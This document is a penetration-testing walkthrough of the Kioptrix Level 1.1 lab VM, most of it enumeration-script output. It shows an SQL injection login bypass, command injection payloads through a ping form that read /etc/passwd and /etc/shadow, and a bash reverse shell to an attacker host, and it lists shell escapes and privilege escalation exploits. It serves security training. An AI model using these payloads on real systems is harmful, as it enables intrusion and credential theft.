Kioptrix Level 1.1 Walkthrough
Preparation:
Download the virtual machine from the following website:
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
The target server： Kioptirx Level 1.1(#2)
1. Discover the IP address of the target server. We find the target IP address is 10.0.0.28 in this case.
netdiscover -r 10.0.0.0/24
2. Perform the TCP/UDP scan using the tool Nmap.
TCP scan 1:
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN /root/kioptrix2/tcp1.txt 10.0.0.28
TCP Scan 2:
nmap -nvv -Pn- -sSV -p 22,80,111,443,631,646,3306 --version-intensity 9 -A -oN /root/kioptrix2/tcp2.txt 10.0.0.28
3. Browse the target website through Firefox.
The source page shows the following code:
<html>
<body>
<form method="post" name="frmLogin" id="frmLogin" action="index.php">
<table width="300" border="1" align="center" cellpadding="2" cellspacing="2">
<tr>
<td colspan='2' align='center'>
<b>Remote System Administration Login</b>
</td>
</tr>
<tr>
<td width="150">Username</td>
<td><input name="uname" type="text"></td>
</tr>
<tr>
<td width="150">Password</td>
<td>
<input name="psw" type="password">
</td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" name="btnLogin" value="Login">
</td>
</tr>
</table>
</form>
<!-- Start of HTML when logged in as Administator -->
</body>
</html>
Try to use the cheat sheet in the following website to test for SQL injection authentication bypass.
https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
Ahaaaa! The cheat sheet 'admin' #' is effective.
The source page shows the following codes:
<html>
<body>
<!-- Start of HTML when logged in as Administator -->
<form name="ping" action="pingit.php" method="post" target="_blank">
<table width='600' border='1'>
<tr valign='middle'>
<td colspan='2' align='center'>
<b>Welcome to the Basic Administrative Web Console<br></b>
</td>
</tr>
<tr valign='middle'>
<td align='center'>
Ping a Machine on the Network:
</td>
<td align='center'>
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit">
</td>
</td>
</tr>
</table>
</form>
</body>
</html>
4. Try to find more interesting things through the pingit page.
Ping "127.0.0.1"
Ping "127.0.0.1;id", so we find the uid.
Ping "127.0.0.1;pwd"
Ping "127.0.0.1;cat /etc/shadow". But No root authentication.
Ping "127.0.0.1;cat /etc/passwd".
5. Try to find a command execution vulnerability using the reverse shell cheat sheet in the pentest monkey website.
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Start the tool Ncat in the Kali Linux.
nc -nvlp 4444
Copy the bash command to the pingit page and modify it.
Ping "127.0.0.1;bash -i >& /dev/tcp/10.0.0.26/4444 0>&1"
Ahaaa. The communication is established.
Down load the linuxprivchecker.py file from the Kali Linux to the Kioptrix server.
wget http://10.0.0.26/linuxprivchecker.py
Run the linuxprivchecker.py on the Kioptrix server. Find the Kernel version first.
chmod 777 linuxprivchecker.py python linuxprivchecker.py
=================================================================================================
LINUX PRIVILEGE ESCALATION CHECKER
=================================================================================================
[*] GETTING BASIC SYSTEM INFO...
[+] Kernel
Linux version 2.6.9-55.EL (mockbuild@builder6.centos.org) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed May 2 13:52:16 EDT 2007
[+] Hostname
kioptrix.level2
[+] Operating System
Welcome to Kioptrix Level 2 Penetration and Assessment Environment
--The object of this game:
|_Acquire "root" access to this machine.
There are many ways this can be done, try and find more then one way to
appreciate this exercise.
DISCLAIMER: Kioptrix is not resposible for any damage or instability
caused by running, installing or using this VM image.
Use at your own risk.
WARNING: This is a vulnerable system, DO NOT run this OS in a production
environment. Nor should you give this system access to the o(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
utside world
(the Internet - or Interwebs..)
Good luck and have fun!
[*] GETTING NETWORKING INFO...
[+] Interfaces
eth0 Link encap:Ethernet HWaddr 00:0C:29:BE:7B:78
inet addr:10.0.0.28 Bcast:10.0.0.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:febe:7b78/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:281068 errors:8 dropped:37 overruns:0 frame:0
TX packets:221829 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:29487030 (28.1 MiB) TX bytes:39516124 (37.6 MiB)
Interrupt:177 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:258 errors:0 dropped:0 overruns:0 frame:0
TX packets:258 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:20134 (19.6 KiB) TX bytes:20134 (19.6 KiB)
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
[+] Netstat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:623 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 125 10.0.0.28:38572 10.0.0.26:4444 ESTABLISHED 12253/bash
tcp 0 0 :::80 :::* LISTEN 12251/sh
tcp 0 0 :::22 :::* LISTEN -
tcp 0 0 :::443 :::* LISTEN 12251/sh
tcp 0 0 ::ffff:10.0.0.28:80 ::ffff:10.0.0.26:50256 ESTABLISHED 12251/sh
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:617 0.0.0.0:* -
udp 0 0 0.0.0.0:620 0.0.0.0:* -
udp 0 0 0.0.0.0:111 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* -
[+] Route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
10.0.0.0 * 255.255.255.0 U 0 0 0 eth0
default 10.0.0.1 0.0.0.0 UG 0 0 0 eth0
[*] GETTING FILESYSTEM INFO...
[+] Mount results
/dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw)
none on /proc type proc (rw)
none on /sys type sysfs (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/hda1 on /boot type ext3 (rw)
none on /dev/shm type tmpfs (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
[+] fstab entries
# This file is edited by fstab-sync - see 'man fstab-sync' for details
/dev/VolGroup00/LogVol00 / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
none /dev/shm tmpfs defaults 0 0
none /proc proc defaults 0 0
none /sys sysfs defaults 0 0
/dev/VolGroup00/LogVol01 swap swap defaults 0 0
[+] Scheduled cron jobs
-rw-r--r-- 1 root root 0 Oct 7 2009 /etc/cron.deny
-rw-r--r-- 1 root root 255 Feb 21 2005 /etc/crontab
/etc/cron.d:
total 24
drwxr-xr-x 2 root root 4096 Jul 12 2006 .
drwxr-xr-x 80 root root 12288 Aug 3 02:29 ..
/etc/cron.daily:
total 108
drwxr-xr-x 2 root root 4096 Oct 7 2009 .
drwxr-xr-x 80 root root 12288 Aug 3 02:29 ..
lrwxrwxrwx 1 root root 28 Oct 7 2009 00-logwatch -> ../log.d/scripts/logwatch.pl
-rwxr-xr-x 1 root root 418 Sep 14 2006 00-makewhatis.cron
-rwxr-xr-x 1 root root 135 Feb 21 2005 00webalizer
-rwxr-xr-x 1 root root 276 Feb 21 2005 0anacron
-rw-r--r-- 1 root root 797 Feb 21 2005 certwatch
-rwxr-xr-x 1 root root 180 Oct 20 2006 logrotate
-rwxr-xr-x 1 root root 2133 Dec 1 2004 prelink
-rwxr-xr-x 1 root root 104 May 4 2007 rpm
ls: //.*_history: No such file or directory
-rwxr-xr-x 1 root root 121 Aug 21 2005 slocate.cron
-rwxr-xr-x 1 root root 286 Feb 21 2005 tmpwatch
-rwxr-xr-x 1 root root 158 May 5 2007 yum.cron
/etc/cron.hourly:
total 24
drwxr-xr-x 2 root root 4096 Feb 21 2005 .
drwxr-xr-x 80 root root 12288 Aug 3 02:29 ..
/etc/cron.monthly:
total 32
drwxr-xr-x 2 root root 4096 Oct 7 2009 .
drwxr-xr-x 80 root root 12288 Aug 3 02:29 ..
-rwxr-xr-x 1 root root 278 Feb 21 2005 0anacron
/etc/cron.weekly:
total 48
drwxr-xr-x 2 root root 4096 Oct 7 2009 .
drwxr-xr-x 80 root root 12288 Aug 3 02:29 ..
-rwxr-xr-x 1 root root 414 Sep 14 2006 00-makewhatis.cron
-rwxr-xr-x 1 root root 277 Feb 21 2005 0anacron
-rwxr-xr-x 1 root root 90 May 5 2007 yum.cron
[+] Writable cron dirs
lrwxrwxrwx 1 root root 28 Oct 7 2009 00-logwatch -> ../log.d/scripts/logwatch.pl
[*] ENUMERATING USER AND ENVIRONMENTAL INFO...
[+] Logged in User Activity
03:57:07 up 2:33, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[+] Sudoers (privileged)
[+] All users
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
[+] Current User ID
uid=48(apache) gid=48(apache) groups=48(apache)
[+] Super Users Found:
root
[+] Environment
CONSOLE=/dev/console
SELINUX_INIT=YES
TERM=linux
INIT_VERSION=sysvinit-2.85
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
_=/bin/env
runlevel=3
RUNLEVEL=3
PWD=/tmp
LANG=en_US.UTF-8
previous=N
PREVLEVEL=N
SHLVL=5
HOME=/
[+] Current User
apache
[+] Root and current user history (depends on privs)
[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...
[+] World Writeable Directories for User/Group 'Root'
[+] World Writeable Directories for Users other than Root
[+] World Writable Files
[+] Checking if root's home folder is accessible
[+] SUID/SGID Files and Directories
-rwxr-Sr-t 1 root root 1733 Feb 9 2012 /var/www/html/index.php
-rwxr-Sr-t 1 root root 199 Oct 8 2009 /var/www/html/pingit.php
-rwxr-sr-x 1 root root 11367 May 3 2007 /sbin/netreport
-r-sr-xr-x 1 root root 46076 May 2 2007 /sbin/unix_chkpwd
-r-s--x--x 1 root root 20016 May 2 2007 /sbin/pam_timestamp_check
-r-sr-xr-x 1 root root 301242 May 2 2007 /sbin/pwdb_chkpwd
-rwsr-xr-x 1 root root 6096 May 2 2007 /usr/sbin/ccreds_validate
-rwxr-sr-x 1 root lock 15372 Apr 4 2006 /usr/sbin/lockdev
-rws--x--x 1 root root 30760 May 2 2007 /usr/sbin/userhelper
-rwxr-sr-x 1 root smmsp 746328 May 2 2007 /usr/sbin/sendmail.sendmail
-rwsr-xr-x 1 root root 6668 Feb 21 2005 /usr/sbin/userisdnctl
-rwxr-sr-x 1 root utmp 10497 Feb 21 2005 /usr/sbin/utempter
-r-s--x--- 1 root apache 10760 May 4 2007 /usr/sbin/suexec
-rwsr-xr-x 1 root root 15228 May 3 2007 /usr/sbin/usernetctl
-rws--x--x 1 root root 434644 May 2 2007 /usr/libexec/openssh/ssh-keysign
-rwsr-xr-x 1 root root 7396 May 2 2007 /usr/libexec/pt_chown
-rwsr-xr-x 1 root root 123961 May 3 2007 /usr/kerberos/bin/ksu
-rwsr-x--- 1 root squid 9952 May 4 2007 /usr/lib/squid/pam_auth
-rwsr-x--- 1 root squid 10208 May 4 2007 /usr/lib/squid/ncsa_auth
-r-xr-sr-x 1 root tty 9752 May 5 2007 /usr/bin/wall
-rwxr-sr-x 1 root slocate 38548 Aug 21 2005 /usr/bin/slocate
-rws--x--x 1 root root 18392 May 3 2007 /usr/bin/chsh
-rwxr-sr-x 1 root mail 14636 Feb 21 2005 /usr/bin/lockfile
-rwsr-xr-x 1 root root 17304 May 10 2006 /usr/bin/rcp
---s--x--x 1 root root 93816 Aug 21 2005 /usr/bin/sudo
-rwxr-sr-x 1 root tty 10124 May 3 2007 /usr/bin/write
-rwsr-xr-x 1 root root 117802 May 2 2007 /usr/bin/chage
-rwsr-xr-x 1 root root 82772 Jul 12 2006 /usr/bin/crontab
-rwsr-xr-x 1 root root 12312 May 10 2006 /usr/bin/rlogin
-rwsr-xr-x 1 root root 8692 May 10 2006 /usr/bin/rsh
-rwsr-xr-x 1 root root 131181 May 2 2007 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 42280 Apr 26 2006 /usr/bin/at
-rws--x--x 1 root root 7700 May 3 2007 /usr/bin/newgrp
-rws--x--x 1 root root 17708 May 3 2007 /usr/bin/chfn
-rwxr-sr-x 1 root nobody 57932 May 2 2007 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 19597 May 3 2007 /usr/bin/lppasswd
-rwsr-xr-x 1 root root 72261 May 2 2007 /usr/bin/sg
-r-s--x--x 1 root root 21200 Aug 21 2005 /usr/bin/passwd
-rwsr-xr-x 1 root root 87016 May 3 2007 /bin/mount
-rwsr-xr-x 1 root root 12300 May 2 2007 /bin/traceroute6
-rwsr-xr-x 1 root root 23844 Nov 23 2006 /bin/traceroute
-rwsr-xr-x 1 root root 53612 May 3 2007 /bin/umount
-rwsr-xr-x 1 root root 30924 May 2 2007 /bin/ping6
-rwsr-xr-x 1 root root 33272 May 2 2007 /bin/ping
-rwsr-xr-x 1 root root 61168 May 5 2007 /bin/su
[+] Logs containing keyword 'password'
[+] Config files containing keyword 'password'
Binary file /etc/prelink.cache matches
/etc/lftp.conf:## This can be e.g. TIS-FWTK or rftpd. User and password are optional.
/etc/ltrace.conf:; pwd.h
/etc/pwdb.conf:# This is the configuration file for the pwdb library
/etc/log.d/logwatch.conf:#Service = pam_pwdb # PAM_pwdb messages - usually quite a bit
/etc/log.d/conf/logwatch.conf:#Service = pam_pwdb # PAM_pwdb messages - usually quite a bit
/etc/log.d/conf/services/pam_pwdb.conf:# $Id: pam_pwdb.conf,v 1.7 2002/10/12 02:08:09 kirk Exp $
/etc/log.d/conf/services/pam_pwdb.conf:Title = "PAM_pwdb"
/etc/log.d/conf/services/pam_pwdb.conf:# Only give lines pertaining to the PAM_pwdb service...
/etc/log.d/conf/services/pam_pwdb.conf:*OnlyService = pam_pwdb
/etc/squid/squid.conf.default:# login=user:password | PASS | *:password
/etc/squid/squid.conf.default:# use 'login=user:password' if this is a personal/workgroup
/etc/squid/squid.conf.default:# password to the peer. USE WITH CAUTION
/etc/squid/squid.conf.default:# use 'login=*:password' to pass the username to the
/etc/squid/squid.conf.default:# upstream cache, but with a fixed password. This is meant
/etc/squid/squid.conf.default:# the login=username:password option above.
/etc/squid/squid.conf.default:# If you want the anonymous login password to be more informative
/etc/squid/squid.conf.default:# reads a line containing "username password" and replies "OK" or
/etc/squid/squid.conf.default:# backlog of usercode/password verifications, slowing it down. When
/etc/squid/squid.conf.default:# password verifications are done via a (slow) network you are likely to
/etc/squid/squid.conf.default:# will see when prompted their username and password).
/etc/squid/squid.conf.default:# username:password pair is valid for - in other words how often the
/etc/squid/squid.conf.default:# revalidation with short lived passwords. Note that setting this high
/etc/squid/squid.conf.default:# using an one-time password system (such as SecureID). If you are using
/etc/squid/squid.conf.default:# when prompted their username and password).
/etc/squid/squid.conf.default:# # to check username/password combinations (see
/etc/squid/squid.conf.default:#acl password proxy_auth REQUIRED
/etc/squid/squid.conf.default:# user's default group ID (taken from the password file) and
/etc/squid/squid.conf.default:# Specify passwords for cachemgr operations.
/etc/squid/squid.conf.default:# Usage: cachemgr_passwd password action action ...
/etc/squid/squid.conf.default:# valid password, others can be performed if not listed here.
/etc/squid/squid.conf.default:# To disable an action, set the password to "disable".
/etc/squid/squid.conf.default:# To allow performing an action without a password, set the
/etc/squid/squid.conf.default:# password to "none".
/etc/squid/squid.conf.default:# Use the keyword "all" to set the same password for all actions.
/etc/pear.conf:a:23:{s:9:"cache_dir";s:19:"/var/cache/php-pear";s:15:"default_channel";s:12:"pear.php.net";s:16:"preferred_mirror";s:12:"pear.php.net";s:13:"remote_config";s:0:"";s:13:"auto_discover";i:0;s:13:"master_server";s:12:"pear.php.net";s:10:"http_proxy";s:0:"";s:7:"php_dir";s:15:"/usr/share/pear";s:7:"doc_dir";s:19:"/usr/share/pear/doc";s:7:"bin_dir";s:8:"/usr/bin";s:8:"data_dir";s:20:"/usr/share/pear/data";s:8:"test_dir";s:20:"/usr/share/pear/test";s:7:"php_bin";s:12:"/usr/bin/php";s:8:"username";s:0:"";s:8:"password";s:0:"";s:7:"verbose";i:1;s:15:"preferred_state";s:6:"stable";s:5:"umask";i:18;s:9:"cache_ttl";i:3600;s:8:"sig_type";s:3:"gpg";s:7:"sig_bin";s:12:"/usr/bin/gpg";s:9:"sig_keyid";s:0:"";s:10:"sig_keydir";s:13:"/etc/pearkeys";}
/etc/httpd/conf.d/ssl.conf:# Note that no password is obtained from the user. Every entry in the user
/etc/httpd/conf.d/ssl.conf:# file needs this password: `xxj31ZMTZzkVA'.
/etc/samba/smb.conf:# Use password server option only with security = server
/etc/samba/smb.conf:; password server = <NT-Server-Name>
/etc/samba/smb.conf:# Password Level allows matching of _n_ characters of the password for
/etc/samba/smb.conf:; password level = 8
/etc/samba/smb.conf:# You may wish to use password encryption. Please read
/etc/samba/smb.conf:; encrypt passwords = yes
/etc/samba/smb.conf:# The following are needed to allow password changing from Windows to
/etc/samba/smb.conf:# update the Linux system password also.
/etc/samba/smb.conf:# NOTE: Use these with 'encrypt passwords' and 'smb passwd file' above.
/etc/samba/smb.conf:# the encrypted SMB passwords. They allow the Unix password
/etc/samba/smb.conf:# to be kept in sync with the SMB password.
/etc/samba/smb.conf:; unix password sync = Yes
/etc/samba/smb.conf:; passwd chat = *New*UNIX*password* %n\n *ReType*new*UNIX*password* %n\n *passwd:*all*authentication*tokens*updated*successfully*
/etc/my.cnf:# Default to using old password format for compatibility with mysql 3.x
/etc/my.cnf:old_passwords=1
/etc/ldap.conf:# Search the root DSE for the password policy (works
/etc/ldap.conf:# If you are using XAD, you can set pam_password
/etc/ldap.conf:# Do not hash the password at all; presume
/etc/ldap.conf:#pam_password clear
/etc/ldap.conf:# Hash password locally; required for University of
/etc/ldap.conf:#pam_password crypt
/etc/ldap.conf:# Remove old password first, then update in
/etc/ldap.conf:#pam_password nds
/etc/ldap.conf:#pam_password racf
/etc/ldap.conf:# Update Active Directory password, by
/etc/ldap.conf:# creating Unicode password and updating
/etc/ldap.conf:#pam_password ad
/etc/ldap.conf:# Use the OpenLDAP password change
/etc/ldap.conf:# extended operation to update the password.
/etc/ldap.conf:#pam_password exop
/etc/ldap.conf:# Redirect users to a URL or somesuch on password
/etc/ldap.conf:#pam_password_prohibit_message Please visit http://internal to change your password.
/etc/ldap.conf:#pam_password ad
/etc/ldap.conf:#nss_map_attribute shadowLastChange pwdLastSet
/etc/ldap.conf:#pam_password ad
/etc/ldap.conf:#nss_map_attribute shadowLastChange pwdLastSet
/etc/ldap.conf:#pam_password ad
/etc/ldap.conf:# configure --enable-authpassword is no longer supported
/etc/ldap.conf:#nss_map_attribute userPassword passwordChar
/etc/ldap.conf:#pam_password clear
/etc/ldap.conf:# at present and does not support password policy control
/etc/ldap.conf:pam_password md5
[+] Shadow File (Privileged)
[*] ENUMERATING PROCESSES AND APPLICATIONS...
[+] Installed Packages
4Suite-1.0-3
acl-2.2.23-5.3.el4
acpid-1.0.3-2
alchemist-1.0.34-1
alsa-lib-1.0.6-5.RHEL4
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audit-libs-1.0.15-3.EL4
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automake14-1.4p6-12
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bluez-hcidump-1.11-1
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boost-1.32.0-6.rhel4
boost-devel-1.32.0-6.rhel4
byacc-1.9-28
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centos-release-4-4.3
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cpp-3.4.6-8
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crash-4.0-3.9
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cups-1.1.22-0.rc1.9.20
cups-libs-1.1.22-0.rc1.9.20
curl-7.12.1-11.el4
curl-devel-7.12.1-11.el4
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dialog-1.0.20040731-3
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dmraid-devel-1.0.0.rc14-5_RHEL4_U5
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zlib-1.2.1.2-1.2
zlib-devel-1.2.1.2-1.2
zsh-4.2.0-4.EL.4.5
[+] Current processes
USER PID START TIME COMMAND
root 1 01:23 0:04 init
root 2 01:23 0:00 [ksoftirqd/0]
root 3 01:23 0:00 [events/0]
root 4 01:23 0:00 [khelper]
root 5 01:23 0:00 [kacpid]
root 82 01:23 0:00 [kblockd/0]
root 83 01:23 0:00 [khubd]
root 100 01:23 0:00 [pdflush]
root 101 01:23 0:00 [pdflush]
root 102 01:23 0:00 [kswapd0]
root 103 01:23 0:00 [aio/0]
root 249 01:23 0:00 [kseriod]
root 482 01:23 0:00 [ata/0]
root 483 01:23 0:00 [ata_aux]
root 498 01:23 0:00 [kjournald]
root 1695 01:24 0:00 udevd
root 1727 01:24 0:00 [shpchpd_event]
root 1812 01:24 0:00 [kauditd]
root 1923 01:24 0:00 [kjournald]
root 2511 01:24 0:00 syslogd
root 2515 01:24 0:00 klogd
rpc 2542 01:24 0:00 portmap
rpcuser 2561 01:24 0:00 rpc.statd
root 2587 01:24 0:00 rpc.idmapd
root 2659 01:24 0:00 /usr/sbin/acpid
root 2720 01:24 0:00 /usr/sbin/sshd
root 2756 01:24 0:00 xinetd
root 2774 01:24 0:00 sendmail:
smmsp 2784 01:24 0:00 sendmail:
root 2794 01:24 0:00 gpm
root 2803 01:24 0:00 crond
xfs 2825 01:24 0:00 xfs
root 2842 01:24 0:00 /usr/sbin/atd
dbus 2851 01:24 0:00 dbus-daemon-1
root 2860 01:24 0:00 hald
root 3115 01:24 0:00 dhclient
root 3118 01:24 0:00 httpd
root 3144 01:24 0:00 /bin/sh
mysql 3197 01:24 0:01 /usr/libexec/mysqld
root 3215 01:24 0:00 /sbin/mingetty
root 3216 01:24 0:00 /sbin/mingetty
root 3217 01:24 0:00 /sbin/mingetty
root 3218 01:24 0:00 /sbin/mingetty
root 3219 01:24 0:00 /sbin/mingetty
root 3220 01:24 0:00 /sbin/mingetty
root 4150 02:29 0:00 cupsd
apache 4388 02:29 0:04 httpd
apache 4393 02:29 0:04 httpd
apache 4395 02:29 0:04 httpd
apache 9499 02:36 0:03 httpd
apache 9519 02:36 0:03 httpd
apache 9532 02:36 0:03 httpd
apache 9533 02:36 0:02 httpd
apache 9536 02:36 0:03 httpd
apache 9537 02:36 0:03 httpd
apache 9538 02:36 0:03 httpd
apache 9539 02:36 0:03 httpd
apache 9543 02:36 0:03 httpd
apache 9544 02:36 0:03 httpd
apache 9562 02:48 0:00 httpd
apache 9563 02:48 0:00 httpd
apache 9564 02:48 0:00 httpd
apache 9565 02:48 0:00 httpd
apache 9569 02:48 0:00 httpd
apache 9574 02:48 0:00 httpd
apache 10155 02:48 0:00 httpd
apache 12251 03:42 0:00 sh
apache 12253 03:42 0:00 bash
apache 12259 03:57 0:00 python
apache 12389 03:57 0:00 sh
sh: apache2: command not found
sh: apache2ctl: command not found
apache 12390 03:57 0:00 ps
apache 12391 03:57 0:00 awk
[+] Apache Version and Modules
Server version: Apache/2.0.52
Server built: May 4 2007 06:25:03
Compiled in modules:
core.c
prefork.c
http_core.c
mod_so.c
[+] Apache Config File
[+] Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)
Sudo version 1.6.7p5
[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...
root 3217 01:24 0:00 /sbin/mingetty
Possible Related Packages:
mingetty-1.07-3
root 2756 01:24 0:00 xinetd
Possible Related Packages:
xinetd-2.3.13-4.4E.1
root 498 01:23 0:00 [kjournald]
root 102 01:23 0:00 [kswapd0]
root 3219 01:24 0:00 /sbin/mingetty
Possible Related Packages:
mingetty-1.07-3
root 2587 01:24 0:00 rpc.idmapd
root 3144 01:24 0:00 /bin/sh
root 3115 01:24 0:00 dhclient
Possible Related Packages:
dhclient-3.0.1-59.EL4
root 482 01:23 0:00 [ata/0]
root 100 01:23 0:00 [pdflush]
root 3220 01:24 0:00 /sbin/mingetty
Possible Related Packages:
mingetty-1.07-3
root 249 01:23 0:00 [kseriod]
root 103 01:23 0:00 [aio/0]
root 82 01:23 0:00 [kblockd/0]
root 1812 01:24 0:00 [kauditd]
root 5 01:23 0:00 [kacpid]
root 2794 01:24 0:00 gpm
Possible Related Packages:
gpm-1.20.1-71.RHEL4
gpm-devel-1.20.1-71.RHEL4
root 83 01:23 0:00 [khubd]
root 2860 01:24 0:00 hald
root 4150 02:29 0:00 cupsd
root 2515 01:24 0:00 klogd
Possible Related Packages:
sysklogd-1.4.1-26_EL
root 2842 01:24 0:00 /usr/sbin/atd
root 1695 01:24 0:00 udevd
root 2803 01:24 0:00 crond
root 2511 01:24 0:00 syslogd
root 2 01:23 0:00 [ksoftirqd/0]
root 3215 01:24 0:00 /sbin/mingetty
Possible Related Packages:
mingetty-1.07-3
root 101 01:23 0:00 [pdflush]
root 483 01:23 0:00 [ata_aux]
root 2774 01:24 0:00 sendmail:
root 1923 01:24 0:00 [kjournald]
root 3216 01:24 0:00 /sbin/mingetty
Possible Related Packages:
mingetty-1.07-3
root 4 01:23 0:00 [khelper]
root 3218 01:24 0:00 /sbin/mingetty
Possible Related Packages:
mingetty-1.07-3
root 2720 01:24 0:00 /usr/sbin/sshd
root 1727 01:24 0:00 [shpchpd_event]
root 3118 01:24 0:00 httpd
Possible Related Packages:
httpd-2.0.52-32.ent.centos4
httpd-manual-2.0.52-32.ent.centos4
httpd-suexec-2.0.52-32.ent.centos4
system-config-httpd-1.3.1-1
root 1 01:23 0:04 init
Possible Related Packages:
initscripts-7.93.29.EL-1.centos4
mkinitrd-4.2.1.10-1.1
module-init-tools-3.1-0.pre5.3.4
SysVinit-2.85-34.4
root 2659 01:24 0:00 /usr/sbin/acpid
Possible Related Packages:
acpid-1.0.3-2
root 3 01:23 0:00 [events/0]
[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...
[+] Installed Tools
/bin/awk
/usr/bin/perl
/usr/bin/python
/usr/bin/gcc
/usr/bin/cc
/bin/vi
/usr/bin/nmap
/usr/bin/find
/usr/bin/wget
/usr/bin/ftp
[+] Related Shell Escape Sequences...
nmap--> --interactive
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...
Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!
The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system
- 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c
- 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=c
- MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
The following exploits are applicable to this kernel version and should be investigated as well
- Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c
- 2.x sock_sendpage() Local Root Exploit 2 || http://www.exploit-db.com/exploits/9436 || Language=c
- open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c
